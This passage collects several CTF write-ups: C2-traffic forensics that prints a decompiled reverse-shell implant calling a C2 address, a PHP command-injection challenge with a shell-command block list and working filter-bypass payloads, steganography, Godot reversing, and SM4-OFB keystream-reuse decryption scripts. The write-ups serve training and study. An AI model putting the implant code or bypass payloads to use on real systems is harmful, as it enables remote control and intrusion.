8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 The output was: 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' Putting 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi through CyberChef, applying Base58 then Base64 decryption yielded the Flag: dart{d9850b27-85cb-4777-85e0-df0b78fdb722} A later attempt to fully extract and reverse engineer the binary uploaded in chunks confirmed it was a PyInstaller-packaged ELF. Decompiling the extracted inspect.pyc revealed: # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短，无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() This confirmed the use of AES-GCM. Summary The complete attack chain was as follows: sequenceDiagram participant Attacker as Attacker / C2 Server participant WebServer as Web App Layer (Shiro / Behinder WebShell) participant OS as Underlying System (Linux OS) rect rgb(240, 248, 255) note right of Attacker: Phase 1: Shiro Exploitation & RCE Attacker->>WebServer: Continuous brute-force of rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 Redirect (Brute-force successful, AES Key obtained) Attacker->>WebServer: Send RCE Payload (Commands via Authorization header) WebServer->>OS: Spawn process to execute commands (whoami, ls -la, etc.) OS-->>WebServer: Return standard output (root, etc.) WebServer-->>Attacker: Return Base64 encrypted command results end rect rgb(255, 240, 245) note right of Attacker: Phase 2: Inject Memory-Shell & Post-Exploration Attacker->>WebServer: POST request to inject Behinder memory-shell WebServer-->>Attacker: Return injection success indicator (->|Success|<-) Attacker->>WebServer: Access /favicondemo.ico, send AES encrypted Java Classes WebServer->>OS: Read environment variables, network info, list /tmp & /var/tmp OS-->>WebServer: Return system status and file lists WebServer-->>Attacker: Return AES encrypted exploration results end rect rgb(240, 255, 240) note right of Attacker: Phase 3: Chunked Upload & Execution of Persistent Malware Attacker->>WebServer: Multiple requests to upload ELF malware in chunks WebServer->>OS: Append payload chunks to /var/tmp/out Attacker->>WebServer: Send hash verification request WebServer->>OS: Calculate MD5 hash of /var/tmp/out OS-->>WebServer: Verification successful WebServer-->>Attacker: Return hash confirming file integrity Attacker->>WebServer: Send commands chmod +x out and ./out --aes-key ... WebServer->>OS: Grant execute permissions and run malware with key parameter end rect rgb(255, 253, 230) note right of Attacker: Phase 4: TCP Reverse Connection & Deep Control OS->>Attacker: Pyinstaller malware initiates TCP reverse connection to C2 (10.1.243.155:7788) Attacker->>OS: Send AES-GCM encrypted commands (pwd, ls, echo) OS-->>Attacker: Return encrypted execution results (final output includes Flag) end Phase 1: Shiro Vulnerability Exploitation and RCE Verification The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing rememberMe cookies. Subsequently, the attacker used the Authorization header to pass encrypted commands. The web server executed commands like whoami and returned the Base64 encrypted result root. Phase 2: Implanting Memory Webshell and Initial Control The attacker sent a POST request to the / path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the /favicondemo.ico path. The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system's environment variables, IP information (172.18.0.2), and execute basic system commands (e.g., ps -ef). Phase 3: Malware Upload and Execution Through the webshell, the attacker used blockIndex and blockSize parameters to upload an ELF binary in chunks, appending it to /var/tmp/out, and verified its hash (a0275c1593af1adb). The attacker issued the shell command chmod +x out to grant execution permissions and ran the malware on the underlying system using ./out --aes-key .... Phase 4: TCP Reverse Connection to Obtain Flag Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker's C2 server (10.1.243.155:7788). Both parties switched to AES-GCM encryption. The attacker issued remote control commands like pwd, ls, and echo Congratulations, ultimately retrieving the Flag from the final response. Overall, it was quite an interesting challenge.
PolarCTF 2025 Winter Competition Web Polarflag WriteUp
Opening the webpage, you can see it is a login page: Attempting to scan with dirsearch yields: Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed Discover /flag.txt, access it: <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> Attempting to run it reveals a syntax error. Correct it: ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; Running it yields: the_username_is_polar, hinting that the username is polar. Meanwhile, the challenge attachment provides a dictionary wordlist.txt. Attempt brute-forcing with BurpSuite: Brute-forcing reveals that when the password is 6666, it redirects to /polar.php: Access /polar.php, obtain: <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // Initialize session variable if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } // The one who wants to win has no smile on their face if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 Well done \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 Not good enough\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "Go back, this part isn't needed\n"; } } else { show_source(__FILE__); echo ' Go home'; } ?> First, bypass the MD5 check by passing a[]=1&b[]=2: POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 The server returns: Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ And prompts MD5 Well done, successfully bypassing. Since I used BurpSuite to send the request, I plan to use a regular browser next, so I write this cookie into the browser. Then directly access /polar.php?polar= to pass commands, no need to bypass MD5 again. Observing the regex filtering rules, many characters are blocked, including a series of symbols. First, try exporting environment variables with export, and discover a Flag: flag{7b93dd56-4f33-4738-b916-464a984093b3}, but submitting it shows it's incorrect. Asking customer service confirms this Flag is wrong. Since spaces are filtered, use $IFS$1 or %09 (Tab) to bypass. Also, because / is blocked, use ${PWD:0:1} (extract the first character of the PWD environment variable, which is /) instead. Construct the request: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} Obtain: polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var Discover the Flag file: /polarflag. Since fl is filtered, cannot directly call the filename, so use ????????? to match a 9-character file. Commands like cat, tail, more, less that can print content are disabled, but commands like sort can still be used and also print content: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? Obtain the Flag: flag{polarctf1314inwebgame}
Open the file using 010 Editor and find a ZIP header at the end: Extract it and open it to find no password, just a string of base64: [binary] Decode to get: 你这苹果怎么这么大 大个儿才值钱你要不要 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 这橙子怎么这么酸 酸才是正宗的橙子你要是甜的去别家看 这香蕉有点弯 弯的香蕉更甜你不懂 你这梨子是不是有点硬 硬是因为新鲜吃着有口感 这葡萄怎么这么小 小的葡萄更浓缩甜味 At the same time, it is found that there is still part of unrecognized data at the end of the exported zip: Based on the 1A 9E 97 BA 2A, it can be inferred that this is OurSecret steganography. Open it with the OurSecret tool and find that a password is required. Try the password shuiguo to extract a txt file: 你这柚子这么小 你这柚子这么小 你这柚子这么小 你这梨子是不是有点硬 你这柚子这么小 大个儿才值钱你要不要 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 小巧的才好吃你要大个的还是好吃的 弯的香蕉更甜你不懂 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这苹果怎么这么大 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这西瓜能吃吗看起来有点不熟 你这柚子这么小 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这柚子这么小 这西瓜能吃吗看起来有点不熟 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜吃着有口感 It is found that this corresponds one-to-one with the previously extracted statements. Since there are 16 statements extracted earlier, it is speculated that they represent hexadecimal digits, corresponding to 0-f respectively. Then, map the OurSecret decrypted content to hexadecimal numbers to obtain: 666c61677b33653235393630613739646263363962363734636434656336376137326336327d. Write a Python script to convert the hexadecimal string to ASCII characters in groups of two: hex_string = "666c61677b33653235393630613739646263363962363734636434656336376137326336327d" ascii_string = ''.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)]) print(ascii_string) Get the Flag: flag{3e25960a79dbc69b674cd4ec67a72c62}
2025 Yangcheng Cup CTF Preliminary WriteUp
GD1 The file description indicates this is a game developed with Godot Engine. Using GDRE tools to open it, we can locate the game logic: extends Node @export var mob_scene: PackedScene var score var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" func _ready(): pass func _process(delta: float) -> void : pass func game_over(): $ScoreTimer.stop() $MobTimer.stop() $HUD.show_game_over() func new_game(): score = 0 $Player.start($StartPosition.position) $StartTimer.start() $HUD.update_score(score) $HUD.show_message("Get Ready") get_tree().call_group("mobs", "queue_free") func _on_mob_timer_timeout(): var mob = mob_scene.instantiate() var mob_spawn_location = $MobPath / MobSpawnLocation mob_spawn_location.progress_ratio = randf() var direction = mob_spawn_location.rotation + PI / 2 mob.position = mob_spawn_location.position direction += randf_range( - PI / 4, PI / 4) mob.rotation = direction var velocity = Vector2(randf_range(150.0, 250.0), 0.0) mob.linear_velocity = velocity.rotated(direction) add_child(mob) func _on_score_timer_timeout(): score += 1 $HUD.update_score(score) if score == 7906: var result = "" for i in range(0, a.length(), 12): var bin_chunk = a.substr(i, 12) var hundreds = bin_chunk.substr(0, 4).bin_to_int() var tens = bin_chunk.substr(4, 4).bin_to_int() var units = bin_chunk.substr(8, 4).bin_to_int() var ascii_value = hundreds * 100 + tens * 10 + units result += String.chr(ascii_value) $HUD.show_message(result) func _on_start_timer_timeout(): $MobTimer.start() $ScoreTimer.start() We discover that when the score reaches 7906, a decryption algorithm is triggered to decrypt data from array a and print it. We wrote a decryption program following this logic: #include <iostream> #include <string> #include <bitset> using namespace std; int bin_to_int(const string &bin) { return stoi(bin, nullptr, 2); } string decodeBinaryString(const string &a) { string result; for (size_t i = 0; i + 12 <= a.length(); i += 12) { string bin_chunk = a.substr(i, 12); int hundreds = bin_to_int(bin_chunk.substr(0, 4)); int tens = bin_to_int(bin_chunk.substr(4, 4)); int units = bin_to_int(bin_chunk.substr(8, 4)); int ascii_value = hundreds * 100 + tens * 10 + units; result.push_back(static_cast<char>(ascii_value)); } return result; } int main() { string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"; cout << decodeBinaryString(a) << endl; return 0; } Execution yields the Flag: DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS} 成功男人背后的女人 (The Woman Behind the Successful Man) Opening the attachment reveals an image. Based on the hint, we suspected hidden images or other content. Initial attempts with binwalk and foremost yielded nothing. Research indicated the use of Adobe Fireworks' proprietary protocol. Opening the image with appropriate tools revealed the hidden content: The symbols at the bottom were combined in binary form: 01000100010000010101001101000011 01010100010001100111101101110111 00110000011011010100010101001110 01011111011000100110010101101000 00110001011011100100010001011111 01001101010001010110111001111101 Decoding in 8-bit groups: #include <iostream> #include <string> using namespace std; int main(){ string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101"; for(int i=0;i<str.length();i+=8){ cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2); } return 0; } Execution yields: DASCTF{w0mEN_beh1nD_MEn} SM4-OFB We had AI analyze the encryption process and write a decryption script: # 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下） # 代码会： # 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始） # 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码） # # 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点） # 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。 from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad def xor_bytes(a,b): return bytes(x^y for x,y in zip(a,b)) # record1 已知明文与密文（用户提供） record1 = { "name_plain": "蒋宏玲".encode('utf-8'), "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e", "phone_plain": "17145949399".encode('utf-8'), "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c", "id_plain": "220000197309078766".encode('utf-8'), "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } # record2 仅密文（用户提供） record2 = { "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43", "phone_cipher_hex": "175533440427265293a16447f8eb554c", "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } BS = 16 # 分组长度 # 工具：把字段按 16 字节块切分 def split_blocks(b): return [b[i:i+BS] for i in range(0, len(b), BS)] # 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR） ks_blocks = {"name": [], "phone": [], "id": []} # name C_name = unhexlify(record1["name_cipher_hex"]) P_name_padded = pad(record1["name_plain"], BS) for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)): ks_blocks["name"].append(xor_bytes(c, p)) # phone C_phone = unhexlify(record1["phone_cipher_hex"]) P_phone_padded = pad(record1["phone_plain"], BS) for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)): ks_blocks["phone"].append(xor_bytes(c, p)) # id (可能为两块) C_id = unhexlify(record1["id_cipher_hex"]) P_id_padded = pad(record1["id_plain"], BS) for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)): ks_blocks["id"].append(xor_bytes(c, p)) print("Derived keystream blocks (hex):") for field, blks in ks_blocks.items(): print(field, [b.hex() for b in blks]) # 2) 使用上述 keystream 去解 record2 相应字段 def recover_field(cipher_hex, ks_list): C = unhexlify(cipher_hex) blocks = split_blocks(C) recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list)) # 尝试去除填充并解码 try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception as e: recovered = None return recovered, recovered_padded name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"]) phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"]) id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"]) print("\nRecovered (if OFB with same IV/key and per-field restart):") print("Name padded bytes (hex):", name_padded.hex()) print("Name plaintext:", name_rec) print("Phone padded bytes (hex):", phone_padded.hex()) print("Phone plaintext:", phone_rec) print("ID padded bytes (hex):", id_padded.hex()) print("ID plaintext:", id_rec) # 如果解码失败，打印原始 bytes 以便人工分析 # if name_rec is None: # print("\nName padded bytes (raw):", name_padded) # if phone_rec is None: # print("Phone padded bytes (raw):", phone_padded) # if id_rec is None: # print("ID padded bytes (raw):", id_padded) # 结束 We found that names and ID numbers could be computed. After dumping all names from the Excel sheet into a text file, we had AI write a batch processing script: #!/usr/bin/env python3 """ Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and one known plaintext/ciphertext pair is available (from record1). This script: - Reads an input file (one hex-encoded cipher per line). - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream blocks for the name-field (keystream = C XOR P_padded). - XORs each input cipher with the derived keystream blocks to recover plaintext, removes PKCS#7 padding if present, and prints a line containing: <recovered_name>\t<cipher_hex> Usage: python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt Notes: - This assumes each name was encrypted as a separate field starting OFB from the same IV (so keystream blocks align for the name-field) and PKCS#7 padding was used before encryption. If names exceed the number of derived keystream blocks the script will attempt to reuse the keystream cyclically (warns about it), but ideally you should supply a longer known plaintext/ciphertext pair to derive more keystream blocks. - Requires pycryptodome for padding utilities: pip install pycryptodome Edit the KNOWN_* constants below if your known record1 values differ. """ import sys from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad # ----------------------- # ----- KNOWN VALUES ---- # ----------------------- # These are taken from the CTF prompt / earlier messages. Change them if needed. KNOWN_NAME_PLAIN = "蒋宏玲" # record1 known plaintext for name field KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e" # record1 name ciphertext hex IV_HEX = "6162636465666768696a6b6c6d6e6f70" # the IV column (fixed) # Block size for SM4 (16 bytes) BS = 16 # ----------------------- # ----- Helpers --------- # ----------------------- def xor_bytes(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) def split_blocks(b: bytes, bs: int = BS): return [b[i:i+bs] for i in range(0, len(b), bs)] # ----------------------- # ----- Derive keystream from the known pair # ----------------------- def derive_keystream_from_known(known_plain: str, known_cipher_hex: str): p = known_plain.encode('utf-8') c = unhexlify(known_cipher_hex) p_padded = pad(p, BS) p_blocks = split_blocks(p_padded) c_blocks = split_blocks(c) if len(p_blocks) != len(c_blocks): raise ValueError('Known plaintext/cipher block count mismatch') ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)] return ks_blocks # ----------------------- # ----- Recovery -------- # ----------------------- def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks): c = unhexlify(cipher_hex.strip()) c_blocks = split_blocks(c) # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically if len(c_blocks) > len(ks_blocks): print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr) recovered_blocks = [] for i, cb in enumerate(c_blocks): ks = ks_blocks[i % len(ks_blocks)] recovered_blocks.append(xor_bytes(cb, ks)) recovered_padded = b''.join(recovered_blocks) # Try to unpad and decode; if fails, return hex of raw bytes try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception: try: recovered = recovered_padded.decode('utf-8') except Exception: recovered = '<raw:' + recovered_padded.hex() + '>' return recovered # ----------------------- # ----- Main ----------- # ----------------------- def main(): if len(sys.argv) != 2: print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr) sys.exit(2) inpath = sys.argv[1] ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX) with open(inpath, 'r', encoding='utf-8') as f: for lineno, line in enumerate(f, 1): line = line.strip() if not line: continue # Assume each line is one hex-encoded name ciphertext (no spaces) try: recovered = recover_name_from_cipher_hex(line, ks_blocks) except Exception as e: recovered = '<error: %s>' % str(e) print(f"{recovered}\t{line}") if __name__ == '__main__': main() Searching revealed that the ciphertext corresponding to 何浩璐 was c2de929284bff9f63b905245fae9574e. Searching for the ID number ciphertext corresponding to this in Excel yielded: 1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c. Decrypting this with the above script gave: 120000197404101676. Calculating its MD5: fbb80148b75e98b18d65be446f505fcc gives the Flag. dataIdSort We provided the requirements to AI and had it write a script: #!/usr/bin/env python3 # coding: utf-8 """ 功能： - 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。 - 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。 - 所有匹配项均保留原始格式，并输出到 output.csv 文件中。 """ import re import csv from datetime import datetime # ------------------- 配置 ------------------- INPUT_FILE = "data.txt" OUTPUT_FILE = "output.csv" DEBUG = False # 设置为 True 以在控制台打印详细的接受/拒绝日志 # 手机号前缀白名单 ALLOWED_MOBILE_PREFIXES = { "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159", "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145", "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153", "173", "174", "177", "180", "181", "189", "190", "191", "193", "199" } # --------------------------------------------- # ------------------- 校验函数 ------------------- def luhn_check(digits: str) -> bool: """对数字字符串执行Luhn算法校验。""" s = 0 alt = False for char in reversed(digits): d = int(char) if alt: d *= 2 if d > 9: d -= 9 s += d alt = not alt return s % 10 == 0 def is_valid_id(raw: str): """校验身份证号的有效性（长度、格式、出生日期、校验码）。""" sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]' s = re.sub(sep_pattern, '', raw) if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s): return False, "无效的格式或长度" try: birth_date = datetime.strptime(s[6:14], "%Y%m%d") if not (1900 <= birth_date.year <= datetime.now().year): return False, f"无效的出生年份: {birth_date.year}" except ValueError: return False, "无效的出生日期" weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights)) expected_check = check_map[total % 11] if s[17].upper() != expected_check: return False, f"校验码不匹配: 期望值 {expected_check}" return True, "" def is_valid_phone(raw: str) -> bool: """校验手机号的有效性（长度和号段）。""" digits = re.sub(r'\D', '', raw) if digits.startswith("86") and len(digits) > 11: digits = digits[2:] return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES def is_valid_bankcard(raw: str) -> bool: """校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。""" if not (16 <= len(raw) <= 19 and raw.isdigit()): return False return luhn_check(raw) def is_valid_ip(raw: str) -> bool: """校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。""" parts = raw.split('.') if len(parts) != 4: return False # 检查是否存在无效部分，如 '01' if any(len(p) > 1 and 